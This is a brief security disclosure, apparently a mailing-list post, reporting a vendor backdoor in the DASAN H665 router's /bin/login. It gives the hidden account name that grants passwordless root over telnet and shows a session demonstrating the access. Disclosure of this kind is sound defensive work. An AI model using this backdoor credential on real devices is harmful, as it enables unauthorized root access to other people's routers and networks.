Hi! DASAN H665 has vendor backdoor built into BusyBox /bin/login. Account named "dnsekakf2$$" gives access to admin (uid 0) account over telnet without any password, at least for administration interface documented in H665 Quick Guide (subnet 192.168.55.0/24 on LAN interface). $ telnet 192.168.55.1 Trying 192.168.55.1... Connected to 192.168.55.1. Escape character is '^]'. tc login: dnsekakf2$$ # uname -a Linux tc 2.6.36 #1 SMP Wed Jan 3 09:32:57 UTC 2018 mips unknown # tail -n1 /data/log/messages Feb 15 16:59:26 login[26929]: Try to connect using hidden account For longer version visit: https://blog.burghardt.pl/2019/02/dasan-h665-has-vendor-backdoor-built-into-busyboxs-bin-login/ BR, -- Krzysztof Burghardt <krzysztof@burghardt.pl> http://www.burghardt.pl/